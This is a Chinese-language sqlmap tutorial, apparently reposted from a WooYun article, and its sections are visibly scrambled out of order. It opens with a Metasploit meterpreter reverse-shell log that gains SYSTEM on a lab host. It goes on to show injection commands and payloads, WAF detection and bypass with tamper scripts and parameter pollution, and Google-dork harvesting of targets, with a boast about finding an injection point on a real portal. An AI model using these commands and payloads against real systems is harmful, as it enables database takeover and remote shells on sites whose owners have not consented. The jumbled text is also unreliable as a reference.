[hh:mm:43] [INFO] running Metasploit Framework command line interface locally, please wait…

_
                            | |      o

_ _ _ _ | , , _ | | __ |
/ |/ |/ | |/ | / | / _|/ _|/ / _| |
| | |_/|
/|/_/|/ / |/ |/_/ |/|_/
/|
|

=[ metasploit v3.7.0-dev [core:3.7 api:1.0]
  • – --=[ 674 exploits - 351 auxiliary
  • – --=[ 217 payloads - 27 encoders - 8 nops
    =[ svn r12272 updated 4 days ago (2011.04.07)

PAYLOAD => windows/meterpreter/reverse_tcp
EXITFUNC => thread
LPORT => 60641
LHOST => 192.168.136.1
[] Started reverse handler on 192.168.136.1:60641
[
] Starting the payload handler…
[hh:mm:48] [INFO] running Metasploit Framework shellcode remotely via UDF ‘sys_bineval’,
please wait…
[] Sending stage (749056 bytes) to 192.168.136.129
[
] Meterpreter session 1 opened (192.168.136.1:60641 -> 192.168.136.129:1689) at Mon Apr 11
hh:mm:52 +0100 2011

meterpreter > Loading extension espia…success.
meterpreter > Loading extension incognito…success.
meterpreter > [-] The ‘priv’ extension has already been loaded.
meterpreter > Loading extension sniffer…success.
meterpreter > System Language : en_US
OS : Windows .NET Server (Build 3790, Service Pack 2).
Computer : W2K3R2
Architecture : x86
Meterpreter : x86/win32
meterpreter > Server username: NT AUTHORITY\SYSTEM
meterpreter > ipconfig

MS TCP Loopback interface
Hardware MAC: 00:00:00:00:00:00
IP Address : 127.0.0.1
Netmask : 255.0.0.0

Intel® PRO/1000 MT Network Connection
Hardware MAC: 00:0c:29:fc:79:39
IP Address : 192.168.136.129
Netmask : 255.255.255.0

meterpreter > exit

[*] Meterpreter session 1 closed. Reason: User exit

默认状况下MySQL在Windows上以SYSTEM权限运行,PostgreSQL在Windows与Linux中是低权限运行,Microsoft SQL Server 2000默认是以SYSTEM权限运行,Microsoft SQL Server 2005与2008大部分是以NETWORK SERVICE有时是LOCAL SERVICE。

对Windows注册表操做

当数据库为MySQL,PostgreSQL或Microsoft SQL Server,而且当前web应用支持堆查询。 固然,当前链接数据库的用户也须要有权限操做注册表。

读取注册表值

参数:–reg-read
写入注册表值

参数:–reg-add
删除注册表值

参数:–reg-del
注册表辅助选项

参数:–reg-key,–reg-value,–reg-data,–reg-type

须要配合以前三个参数使用,例子:

$ python sqlmap.py -u http://192.168.136.129/sqlmap/pgsql/get_int.aspx?id=1 --reg-add --reg-key=“HKEY_LOCAL_MACHINE\SOFTWARE\sqlmap” --reg-value=Test --reg-type=REG_SZ --reg-data=1

常规参数
从sqlite中读取session

参数:-s

sqlmap对每个目标都会在output路径下自动生成一个SQLite文件,若是用户想指定读取的文件路径,就能够用这个参数。
保存HTTP(S)日志

参数:-t

这个参数须要跟一个文本文件,sqlmap会把HTTP(S)请求与响应的日志保存到那里。
非交互模式

参数:–batch

用此参数,不须要用户输入,将会使用sqlmap提示的默认值一直运行下去。
强制使用字符编码

参数:–charset

不使用sqlmap自动识别的(如HTTP头中的Content-Type)字符编码,强制指定字符编码如:

–charset=GBK

爬行网站URL

参数:–crawl

sqlmap能够收集潜在的可能存在漏洞的链接,后面跟的参数是爬行的深度。

例子:

$ python sqlmap.py -u “http://192.168.21.128/sqlmap/mysql/” --batch --crawl=3
[…]
[xx:xx:53] [INFO] starting crawler
[xx:xx:53] [INFO] searching for links with depth 1
[xx:xx:53] [WARNING] running in a single-thread mode. This could take a while
[xx:xx:53] [INFO] searching for links with depth 2
[xx:xx:54] [INFO] heuristics detected web page charset ‘ascii’
[xx:xx:00] [INFO] 42/56 links visited (75%)
[…]

规定输出到CSV中的分隔符

参数:–csv-del

当dump保存为CSV格式时(–dump-format=CSV),须要一个分隔符默认是逗号,用户也能够改成别的 如:

–csv-del=";"

DBMS身份验证

参数:–dbms-cred

某些时候当前用户的权限不够,作某些操做会失败,若是知道高权限用户的密码,可使用此参数,有的数据库有专门的运行机制,能够切换用户如Microsoft SQL Server的OPENROWSET函数
定义dump数据的格式

参数:–dump-format

输出的格式可定义为:CSV,HTML,SQLITE
预估完成时间

参数:–eta

能够计算注入数据的剩余时间。

例如Oracle的布尔型盲注:

$ python sqlmap.py -u “http://192.168.136.131/sqlmap/oracle/get_int_bool.php?id=1” -b --eta

[…]
[hh:mm:01] [INFO] the back-end DBMS is Oracle
[hh:mm:01] [INFO] fetching banner
[hh:mm:01] [INFO] retrieving the length of query output
[hh:mm:01] [INFO] retrieved: 64
17% [========> ] 11/64 ETA 00:19

而后:

100% [===================================================] 64/64
[hh:mm:53] [INFO] retrieved: Oracle Database 10g Enterprise Edition Release 10.2.0.1.0 - Prod

web application technology: PHP 5.2.6, Apache 2.2.9
back-end DBMS: Oracle
banner: ‘Oracle Database 10g Enterprise Edition Release 10.2.0.1.0 - Prod’

sqlmap先输出长度,预计完成时间,显示百分比,输出字符
刷新session文件

参数:–flush-session

若是不想用以前缓存这个目标的session文件,可使用这个参数。 会清空以前的session,从新测试该目标。
自动获取form表单测试

参数:–forms

若是你想对一个页面的form表单中的参数测试,可使用-r参数读取请求文件,或者经过–data参数测试。 可是当使用–forms参数时,sqlmap会自动从-u中的url获取页面中的表单进行测试。
忽略在会话文件中存储的查询结果

参数:–fresh-queries

忽略session文件保存的查询,从新查询。
使用DBMS的hex函数

参数:–hex

有时候字符编码的问题,可能致使数据丢失,可使用hex函数来避免:

针对PostgreSQL例子:

$ python sqlmap.py -u “http://192.168.48.130/sqlmap/pgsql/get_int.php?id=1” --banner --hex -v 3 --parse-errors

[…]
[xx:xx:14] [INFO] fetching banner
[xx:xx:14] [PAYLOAD] 1 AND 5849=CAST((CHR(58)||CHR(118)||CHR(116)||CHR(106)||CHR(58))||(ENCODE(CONVERT_TO((COALESCE(CAST(VERSION() AS CHARACTER(10000)),(CHR(32)))),(CHR(85)||CHR(84)||CHR(70)||CHR(56))),(CHR(72)||CHR(69)||CHR(88))))::text||(CHR(58)||CHR(110)||CHR(120)||CHR(98)||CHR(58)) AS NUMERIC)
[xx:xx:15] [INFO] parsed error message: ‘pg_query() [function.pg-query]: Query failed: ERROR: invalid input syntax for type numeric: “:vtj:506f737467726553514c20382e332e39206f6e20693438362d70632d6c696e75782d676e752c20636f6d70696c656420627920474343206763632d342e332e7265616c202844656269616e2032e332e322d312e312920342e332e32:nxb:” in /var/www/sqlmap/libs/pgsql.inc.php on line 35
[xx:xx:15] [INFO] retrieved: PostgreSQL 8.3.9 on i486-pc-linux-gnu, compiled by
GCC gcc-4.3.real (Debian 4.3.2-1.1) 4.3.2
[…]

自定义输出的路径

参数:–output-dir

sqlmap默认把session文件跟结果文件保存在output文件夹下,用此参数可自定义输出路径 例如:–output-dir=/tmp
从响应中获取DBMS的错误信息

参数:–parse-errors

有时目标没有关闭DBMS的报错,当数据库语句错误时,会输出错误语句,用词参数能够会显出错误信息。

$ python sqlmap.py -u “http://192.168.21.129/sqlmap/mssql/iis/get_int.asp?id=1” --parse-errors
[…]
[11:12:17] [INFO] ORDER BY technique seems to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[11:12:17] [INFO] parsed error message: ‘Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]The ORDER BY position number 10 is out of range of the number of items in the select list.
/sqlmap/mssql/iis/get_int.asp, line 27
[11:12:17] [INFO] parsed error message: ‘Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]The ORDER BY position number 6 is out of range of the number of items in the select list.
/sqlmap/mssql/iis/get_int.asp, line 27
[11:12:17] [INFO] parsed error message: ‘Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]The ORDER BY position number 4 is out of range of the number of items in the select list.
/sqlmap/mssql/iis/get_int.asp, line 27
[11:12:17] [INFO] target URL appears to have 3 columns in query
[…]

其余的一些参数
使用参数缩写

参数:-z

有使用参数太长太复杂,可使用缩写模式。 例如:

python sqlmap.py --batch --random-agent --ignore-proxy --technique=BEU -u “www.target.com/vuln.php?id=1”

能够写成:

python sqlmap.py -z “bat,randoma,ign,tec=BEU” -u “www.target.com/vuln.php?id=1”

还有:

python sqlmap.py --ignore-proxy --flush-session --technique=U --dump -D testdb -T users -u “www.target.com/vuln.php?id=1”

能够写成:

python sqlmap.py -z “ign,flu,bat,tec=U,dump,D=testdb,T=users” -u “www.target.com/vuln.php?id=1”

成功SQL注入时警告

参数:–alert
设定会发的答案

参数:–answers

当但愿sqlmap提出输入时,自动输入本身想要的答案可使用此参数: 例子:

$ python sqlmap.py -u “http://192.168.22.128/sqlmap/mysql/get_int.php?id=1”–technique=E --answers=“extending=N” --batch
[…]
[xx:xx:56] [INFO] testing for SQL injection on GET parameter ‘id’
heuristic (parsing) test showed that the back-end DBMS could be ‘MySQL’. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y
[xx:xx:56] [INFO] do you want to include all tests for ‘MySQL’ extending provided level (1) and risk (1)? [Y/n] N
[…]

发现SQL注入时发出蜂鸣声

参数:–beep

发现sql注入时,发出蜂鸣声。
启发式检测WAF/IPS/IDS保护

参数:–check-waf

WAF/IPS/IDS保护可能会对sqlmap形成很大的困扰,若是怀疑目标有此防御的话,可使用此参数来测试。 sqlmap将会使用一个不存在的参数来注入测试

例如:

&foobar=AND 1=1 UNION ALL SELECT 1,2,3,table_name FROM information_schema.tables WHERE 2>1

若是有保护的话可能返回结果会不一样。
清理sqlmap的UDF(s)和表

参数:–cleanup

清除sqlmap注入时产生的udf与表。
禁用彩色输出

参数:–disable-coloring

sqlmap默认彩色输出,可使用此参数,禁掉彩色输出。
使用指定的Google结果页面

参数:–gpage

默认sqlmap使用前100个URL地址做为注入测试,结合此选项,能够指定页面的URL测试。
使用HTTP参数污染

参数:-hpp

HTTP参数污染可能会绕过WAF/IPS/IDS保护机制,这个对ASP/IIS与ASP.NET/IIS平台颇有效。
测试WAF/IPS/IDS保护

参数:–identify-waf

sqlmap能够尝试找出WAF/IPS/IDS保护,方便用户作出绕过方式。目前大约支持30种产品的识别。

例如对一个受到ModSecurity WAF保护的MySQL例子:

$ python sqlmap.py -u “http://192.168.21.128/sqlmap/mysql/get_int.php?id=1” --identify-waf -v 3
[…]
[xx:xx:23] [INFO] testing connection to the target URL
[xx:xx:23] [INFO] heuristics detected web page charset ‘ascii’
[xx:xx:23] [INFO] using WAF scripts to detect backend WAF/IPS/IDS protection
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product ‘USP Secure Entry Server (United Security Providers)’
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product ‘BinarySEC Web Application Firewall (BinarySEC)’
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product ‘NetContinuum Web Application Firewall (NetContinuum/Barracuda Networks)’
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product ‘Hyperguard Web Application Firewall (art of defence Inc.)’
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product ‘Cisco ACE XML Gateway (Cisco Systems)’
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product ‘TrafficShield (F5 Networks)’
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product ‘Teros/Citrix Application Firewall Enterprise (Teros/Citrix Systems)’
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product ‘KONA Security Solutions (Akamai Technologies)’
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product ‘Incapsula Web Application Firewall (Incapsula/Imperva)’
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product ‘CloudFlare Web Application Firewall (CloudFlare)’
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product ‘Barracuda Web Application Firewall (Barracuda Networks)’
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product ‘webApp.secure (webScurity)’
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product ‘Proventia Web Application Security (IBM)’
[xx:xx:23] [DEBUG] declared web page charset ‘iso-8859-1’
[xx:xx:23] [DEBUG] page not found (404)
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product ‘KS-WAF (Knownsec)’
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product ‘NetScaler (Citrix Systems)’
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product ‘Jiasule Web Application Firewall (Jiasule)’
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product ‘WebKnight Application Firewall (AQTRONIX)’
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product ‘AppWall (Radware)’
[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product ‘ModSecurity: Open Source Web Application Firewall (Trustwave)’
[xx:xx:23] [CRITICAL] WAF/IDS/IPS identified ‘ModSecurity: Open Source Web Application Firewall (Trustwave)’. Please consider usage of tamper scripts (option ‘–tamper’)
[…]

模仿智能手机

参数:–mobile

有时服务端只接收移动端的访问,此时能够设定一个手机的User-Agent来模仿手机登录。

例如:

$ python sqlmap.py -u “http://www.target.com/vuln.php?id=1” --mobile
[…]
which smartphone do you want sqlmap to imitate through HTTP User-Agent header?
[1] Apple iPhone 4s (default)
[2] BlackBerry 9900
[3] Google Nexus 7
[4] HP iPAQ 6365
[5] HTC Sensation
[6] Nokia N97
[7] Samsung Galaxy S

1
[…]

安全的删除output目录的文件

参数:–purge-output

有时须要删除结果文件,而不被恢复,可使用此参数,原有文件将会被随机的一些文件覆盖。

例如:

$ python sqlmap.py --purge-output -v 3
[…]
[xx:xx:55] [INFO] purging content of directory ‘/home/user/sqlmap/output’…
[xx:xx:55] [DEBUG] changing file attributes
[xx:xx:55] [DEBUG] writing random data to files
[xx:xx:55] [DEBUG] truncating files
[xx:xx:55] [DEBUG] renaming filenames to random values
[xx:xx:55] [DEBUG] renaming directory names to random values
[xx:xx:55] [DEBUG] deleting the whole directory tree
[…]

启发式判断注入

参数:–smart

有时对目标很是多的URL进行测试,为节省时间,只对可以快速判断为注入的报错点进行注入,可使用此参数。

例子:

$ python sqlmap.py -u “http://192.168.21.128/sqlmap/mysql/get_int.php?ca=17&user=foo&id=1” --batch --smart
[…]
[xx:xx:14] [INFO] testing if GET parameter ‘ca’ is dynamic
[xx:xx:14] [WARNING] GET parameter ‘ca’ does not appear dynamic
[xx:xx:14] [WARNING] heuristic (basic) test shows that GET parameter ‘ca’ might not be injectable
[xx:xx:14] [INFO] skipping GET parameter ‘ca’
[xx:xx:14] [INFO] testing if GET parameter ‘user’ is dynamic
[xx:xx:14] [WARNING] GET parameter ‘user’ does not appear dynamic
[xx:xx:14] [WARNING] heuristic (basic) test shows that GET parameter ‘user’ might not be injectable
[xx:xx:14] [INFO] skipping GET parameter ‘user’
[xx:xx:14] [INFO] testing if GET parameter ‘id’ is dynamic
[xx:xx:14] [INFO] confirming that GET parameter ‘id’ is dynamic
[xx:xx:14] [INFO] GET parameter ‘id’ is dynamic
[xx:xx:14] [WARNING] reflective value(s) found and filtering out
[xx:xx:14] [INFO] heuristic (basic) test shows that GET parameter ‘id’ might be injectable (possible DBMS: ‘MySQL’)
[xx:xx:14] [INFO] testing for SQL injection on GET parameter ‘id’
heuristic (parsing) test showed that the back-end DBMS could be ‘MySQL’. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y
do you want to include all tests for ‘MySQL’ extending provided level (1) and risk (1)? [Y/n] Y
[xx:xx:14] [INFO] testing ‘AND boolean-based blind - WHERE or HAVING clause’
[xx:xx:14] [INFO] GET parameter ‘id’ is ‘AND boolean-based blind - WHERE or HAVING clause’ injectable
[xx:xx:14] [INFO] testing ‘MySQL >= 5.0 AND error-based - WHERE or HAVING clause’
[xx:xx:14] [INFO] GET parameter ‘id’ is ‘MySQL >= 5.0 AND error-based - WHERE or HAVING clause’ injectable
[xx:xx:14] [INFO] testing ‘MySQL inline queries’
[xx:xx:14] [INFO] testing ‘MySQL > 5.0.11 stacked queries’
[xx:xx:14] [INFO] testing ‘MySQL < 5.0.12 stacked queries (heavy query)’
[xx:xx:14] [INFO] testing ‘MySQL > 5.0.11 AND time-based blind’
[xx:xx:24] [INFO] GET parameter ‘id’ is ‘MySQL > 5.0.11 AND time-based blind’ injectable
[xx:xx:24] [INFO] testing ‘MySQL UNION query (NULL) - 1 to 20 columns’
[xx:xx:24] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other potential injection technique found
[xx:xx:24] [INFO] ORDER BY technique seems to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[xx:xx:24] [INFO] target URL appears to have 3 columns in query
[xx:xx:24] [INFO] GET parameter ‘id’ is ‘MySQL UNION query (NULL) - 1 to 20 columns’ injectable
[…]

初级用户向导参数

参数:–wizard 面向初级用户的参数,能够一步一步教你如何输入针对目标注入。

$ python sqlmap.py --wizard

sqlmap/1.0-dev-2defc30 - automatic SQL injection and database takeover tool

http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user’s responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting at 11:25:26

Please enter full target URL (-u): http://192.168.21.129/sqlmap/mssql/iis/get_int.asp?id=1
POST data (–data) [Enter for None]:
Injection difficulty (–level/–risk). Please choose:
[1] Normal (default)
[2] Medium
[3] Hard

1
Enumeration (–banner/–current-user/etc). Please choose:
[1] Basic (default)
[2] Smart
[3] All
1

sqlmap is running, please wait…

heuristic (parsing) test showed that the back-end DBMS could be ‘Microsoft SQL Server’. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y
do you want to include all tests for ‘Microsoft SQL Server’ extending provided level (1) and risk (1)? [Y/n] Y
GET parameter ‘id’ is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection points with a total of 25 HTTP(s) requests:

Place: GET
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=1 AND 2986=2986

Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: id=1 AND 4847=CONVERT(INT,(CHAR(58) CHAR(118) CHAR(114) CHAR(100) CHAR(58) (SELECT (CASE WHEN (4847=4847) THEN CHAR(49) ELSE CHAR(48) END)) CHAR(58) CHAR(111) CHAR(109) CHAR(113) CHAR(58)))

Type: UNION query
Title: Generic UNION query (NULL) - 3 columns
Payload: id=1 UNION ALL SELECT NULL,NULL,CHAR(58) CHAR(118) CHAR(114) CHAR(100) CHAR(58) CHAR(70) CHAR(79) CHAR(118) CHAR(106) CHAR(87) CHAR(101) CHAR(119) CHAR(115) CHAR(114) CHAR(77) CHAR(58) CHAR(111) CHAR(109) CHAR(113) CHAR(58)--

Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: id=1; WAITFOR DELAY '0:0:5'--

Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: id=1 WAITFOR DELAY '0:0:5'--

Type: inline query
Title: Microsoft SQL Server/Sybase inline queries
Payload: id=(SELECT CHAR(58) CHAR(118) CHAR(114) CHAR(100) CHAR(58) (SELECT (CASE WHEN (6382=6382) THEN CHAR(49) ELSE CHAR(48) END)) CHAR(58) CHAR(111) CHAR(109) CHAR(113) CHAR(58))

web server operating system: Windows XP
web application technology: ASP, Microsoft IIS 5.1
back-end DBMS operating system: Windows XP Service Pack 2
back-end DBMS: Microsoft SQL Server 2005
banner:

Microsoft SQL Server 2005 - 9.00.1399.06 (Intel X86)
Oct 14 2005 00:33:37
Copyright © 1988-2005 Microsoft Corporation
Express Edition on Windows NT 5.1 (Build 2600: Service Pack 2)

current user: ‘sa’
current database: ‘testdb’
current user is DBA: True

[*] shutting down at 11:25:52

转载自:http://drops.wooyun.org/tips/143http://192.168.136.131/sqlmap/mysql/get_int.php?id=1

当给sqlmap这么一个url的时候,它会:

一、判断可注入的参数

二、判断能够用那种SQL注入技术来注入

三、识别出哪一种数据库

四、根据用户选择,读取哪些数据

sqlmap支持五种不一样的注入模式:

一、基于布尔的盲注,便可以根据返回页面判断条件真假的注入。

二、基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增长)来判断。

三、基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。

四、联合查询注入,可使用union的状况下的注入。

五、堆查询注入,能够同时执行多条语句的执行时的注入。

sqlmap支持的数据库有:

MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase和SAP MaxDB

能够提供一个简单的URL,Burp或WebScarab请求日志文件,文本文档中的完整http请求或者Google的搜索,匹配出结果页面,也能够本身定义一个正则来判断那个地址去测试。

测试GET参数,POST参数,HTTP Cookie参数,HTTP User-Agent头和HTTP Referer头来确认是否有SQL注入,它也能够指定用逗号分隔的列表的具体参数来测试。

能够设定HTTP(S)请求的并发数,来提升盲注时的效率。

Youtube上有人作的使用sqlmap的视频:

http://www.youtube.com/user/inquisb/videos

http://www.youtube.com/user/stamparm/videos

使用sqlmap的实例文章:

http://unconciousmind.blogspot.com/search/label/sqlmap

能够点击https://github.com/sqlmapproject/sqlmap/tarball/master下载最新版本sqlmap。

也可使用git来获取sqlmap

git clone https://github.com/sqlmapproject/sqlmap.git sqlmap-dev

以后能够直接使用命令来更新

python sqlmap.py --update

或者

git pull

更新sqlmap

若是你想观察sqlmap对一个点是进行了怎样的尝试判断以及读取数据的,可使用-v参数。

共有七个等级,默认为1:

0、只显示python错误以及严重的信息。

一、同时显示基本信息和警告信息。(默认)

二、同时显示debug信息。

三、同时显示注入的payload。

四、同时显示HTTP请求。

五、同时显示HTTP响应头。

六、同时显示HTTP响应页面。

若是你想看到sqlmap发送的测试payload最好的等级就是3。
获取目标方式
目标URL

参数:-u或者–url

格式:http(s)😕/targeturl[:port]/[…]

例如:python sqlmap.py -u “http://www.target.com/vuln.php?id=1” -f --banner --dbs --users

从Burp或者WebScarab代理中获取日志

参数:-l

能够直接吧Burp proxy或者WebScarab proxy中的日志直接倒出来交给sqlmap来一个一个检测是否有注入。
从文本中获取多个目标扫描

参数:-m

文件中保存url格式以下,sqlmap会一个一个检测

www.target1.com/vuln1.php?q=foobar

www.target2.com/vuln2.asp?id=1

www.target3.com/vuln3/id/1*

从文件中加载HTTP请求

参数:-r

sqlmap能够从一个文本文件中获取HTTP请求,这样就能够跳过设置一些其余参数(好比cookie,POST数据,等等)。

好比文本文件内以下:

POST /vuln.php HTTP/1.1
Host: www.target.com
User-Agent: Mozilla/4.0

id=1

当请求是HTTPS的时候你须要配合这个–force-ssl参数来使用,或者你能够在Host头后门加上:443
处理Google的搜索结果

参数:-g

sqlmap能够测试注入Google的搜索结果中的GET参数(只获取前100个结果)。

例子:

python sqlmap.py -g “inurl:”.php?id=1""

(很牛B的功能,测试了一下,第十几个就找到新浪的一个注入点)

此外可使用-c参数加载sqlmap.conf文件里面的相关配置。
请求
http数据

参数:–data

此参数是把数据以POST方式提交,sqlmap会像检测GET参数同样检测POST的参数。

例子:

python sqlmap.py -u “http://www.target.com/vuln.php” --data=“id=1” -f --banner --dbs --users

参数拆分字符

参数:–param-del

当GET或POST的数据须要用其余字符分割测试参数的时候须要用到此参数。

例子:

python sqlmap.py -u “http://www.target.com/vuln.php” --data=“query=foobar;id=1” --param-del=";" -f --banner --dbs --users

HTTP cookie头

参数:–cookie,–load-cookies,–drop-set-cookie

这个参数在如下两个方面颇有用:

一、web应用须要登录的时候。

二、你想要在这些头参数中测试SQL注入时。

能够经过抓包把cookie获取到,复制出来,而后加到–cookie参数里。

在HTTP请求中,遇到Set-Cookie的话,sqlmap会自动获取而且在之后的请求中加入,而且会尝试SQL注入。

若是你不想接受Set-Cookie可使用–drop-set-cookie参数来拒接。

当你使用–cookie参数时,当返回一个Set-Cookie头的时候,sqlmap会询问你用哪一个cookie来继续接下来的请求。当–level的参数设定为2或者2以上的时候,sqlmap会尝试注入Cookie参数。
HTTP User-Agent头

参数:–user-agent,–random-agent

默认状况下sqlmap的HTTP请求头中User-Agent值是:

sqlmap/1.0-dev-xxxxxxx (http://sqlmap.org)

可使用–user-anget参数来修改,同时也可使用–random-agnet参数来随机的从./txt/user-agents.txt中获取。

当–level参数设定为3或者3以上的时候,会尝试对User-Angent进行注入。
HTTP Referer头

参数:–referer

sqlmap能够在请求中伪造HTTP中的referer,当–level参数设定为3或者3以上的时候会尝试对referer注入。
额外的HTTP头

参数:–headers

能够经过–headers参数来增长额外的http头
HTTP认证保护

参数:–auth-type,–auth-cred

这些参数能够用来登录HTTP的认证保护支持三种方式:

一、Basic

二、Digest

三、NTLM

例子:

python sqlmap.py -u “http://192.168.136.131/sqlmap/mysql/basic/get_int.php?id=1” --auth-type Basic --auth-cred “testuser:testpass”

HTTP协议的证书认证

参数:–auth-cert

当Web服务器须要客户端证书进行身份验证时,须要提供两个文件:key_file,cert_file。

key_file是格式为PEM文件,包含着你的私钥,cert_file是格式为PEM的链接文件。
HTTP(S)代理

参数:–proxy,–proxy-cred和–ignore-proxy

使用–proxy代理是格式为:http://url:port。

当HTTP(S)代理须要认证是可使用–proxy-cred参数:username:password。

–ignore-proxy拒绝使用本地局域网的HTTP(S)代理。
HTTP请求延迟

参数:–delay

能够设定两个HTTP(S)请求间的延迟,设定为0.5的时候是半秒,默认是没有延迟的。
设定超时时间

参数:–timeout

能够设定一个HTTP(S)请求超过多久断定为超时,10.5表示10.5秒,默认是30秒。
设定重试超时

参数:–retries

当HTTP(S)超时时,能够设定从新尝试链接次数,默认是3次。
设定随机改变的参数值

参数:–randomize

能够设定某一个参数值在每一次请求中随机的变化,长度和类型会与提供的初始值同样。
利用正则过滤目标网址

参数:–scope

例如:

python sqlmap.py -l burp.log --scope="(www)?.target.(com|net|org)"

避免过多的错误请求被屏蔽

参数:–safe-url,–safe-freq

有的web应用程序会在你屡次访问错误的请求时屏蔽掉你之后的全部请求,这样在sqlmap进行探测或者注入的时候可能形成错误请求而触发这个策略,致使之后没法进行。

绕过这个策略有两种方式:

一、–safe-url:提供一个安全不错误的链接,每隔一段时间都会去访问一下。
二、–safe-freq:提供一个安全不错误的链接,每次测试请求以后都会再访问一边安全链接。

关掉URL参数值编码

参数:–skip-urlencode

根据参数位置,他的值默认将会被URL编码,可是有些时候后端的web服务器不遵照RFC标准,只接受不通过URL编码的值,这时候就须要用–skip-urlencode参数。
每次请求时候执行自定义的python代码

参数:–eval

在有些时候,须要根据某个参数的变化,而修改另个一参数,才能造成正常的请求,这时能够用–eval参数在每次请求时根据所写python代码作完修改后请求。

例子:

python sqlmap.py -u “http://www.target.com/vuln.php?id=1&hash=c4ca4238a0b923820dcc509a6f75849b” --eval=“import hashlib;hash=hashlib.md5(id).hexdigest()”

上面的请求就是每次请求时根据id参数值,作一次md5后做为hash参数的值。
注入
测试参数

参数:-p,–skip

sqlmap默认测试全部的GET和POST参数,当–level的值大于等于2的时候也会测试HTTP Cookie头的值,当大于等于3的时候也会测试User-Agent和HTTP Referer头的值。可是你能够手动用-p参数设置想要测试的参数。例如: -p “id,user-anget”

当你使用–level的值很大可是有个别参数不想测试的时候可使用–skip参数。

例如:–skip=“user-angent.referer”

在有些时候web服务器使用了URL重写,致使没法直接使用sqlmap测试参数,能够在想测试的参数后面加*

例如:

python sqlmap.py -u “http://targeturl/param1/value1*/param2/value2/”

sqlmap将会测试value1的位置是否可注入。
指定数据库

参数:–dbms

默认状况系sqlmap会自动的探测web应用后端的数据库是什么,sqlmap支持的数据库有:

MySQL、Oracle、PostgreSQL、Microsoft SQL Server、Microsoft Access、SQLite、Firebird、Sybase、SAP MaxDB、DB2

指定数据库服务器系统

参数:–os

默认状况下sqlmap会自动的探测数据库服务器系统,支持的系统有:Linux、Windows。
指定无效的大数字

参数:–invalid-bignum

当你想指定一个报错的数值时,可使用这个参数,例如默认状况系id=13,sqlmap会变成id=-13来报错,你能够指定好比id=9999999来报错。
只定无效的逻辑

参数:–invalid-logical

缘由同上,能够指定id=13把原来的id=-13的报错改为id=13 AND 18=19。
注入payload

参数:–prefix,–suffix

在有些环境中,须要在注入的payload的前面或者后面加一些字符,来保证payload的正常执行。

例如,代码中是这样调用数据库的:

$query = “SELECT * FROM users WHERE id=(’” . $_GET[’id’] . “’) LIMIT 0, 1”;

这时你就须要–prefix和–suffix参数了:

python sqlmap.py -u “http://192.168.136.131/sqlmap/mysql/get_str_brackets.php?id=1” -p id --prefix “’)” --suffix “AND (’abc’=’abc”

这样执行的SQL语句变成:

$query = “SELECT * FROM users WHERE id=(’1’) AND (’abc’=’abc’) LIMIT 0, 1”;

修改注入的数据

参数:–tamper

sqlmap除了使用CHAR()函数来防止出现单引号以外没有对注入的数据修改,你可使用–tamper参数对数据作修改来绕过WAF等设备。

下面是一个tamper脚本的格式:

Needed imports

from lib.core.enums import PRIORITY

Define which is the order of application of tamper scripts against

the payload

priority = PRIORITY.NORMAL
def tamper(payload):
‘’’
Description of your tamper script
‘’’
retVal = payload
# your code to tamper the original payload
# return the tampered payload
return retVal

能够查看 tamper/ 目录下的有哪些可用的脚本

例如:

$ python sqlmap.py -u “http://192.168.136.131/sqlmap/mysql/get_int.php?id=1” --tamper tamper/between.py,tamper/randomcase.py,tamper/space2comment.py -v 3

[hh:mm:03] [DEBUG] cleaning up configuration parameters
[hh:mm:03] [INFO] loading tamper script ‘between’
[hh:mm:03] [INFO] loading tamper script ‘randomcase’
[hh:mm:03] [INFO] loading tamper script ‘space2comment’
[…]
[hh:mm:04] [INFO] testing ‘AND boolean-based blind - WHERE or HAVING clause’
[hh:mm:04] [PAYLOAD] 1)//And//1369=7706//And//(4092=4092
[hh:mm:04] [PAYLOAD] 1)//AND//9267=9267//AND//(4057=4057
[hh:mm:04] [PAYLOAD] 1//AnD//950=7041
[…]
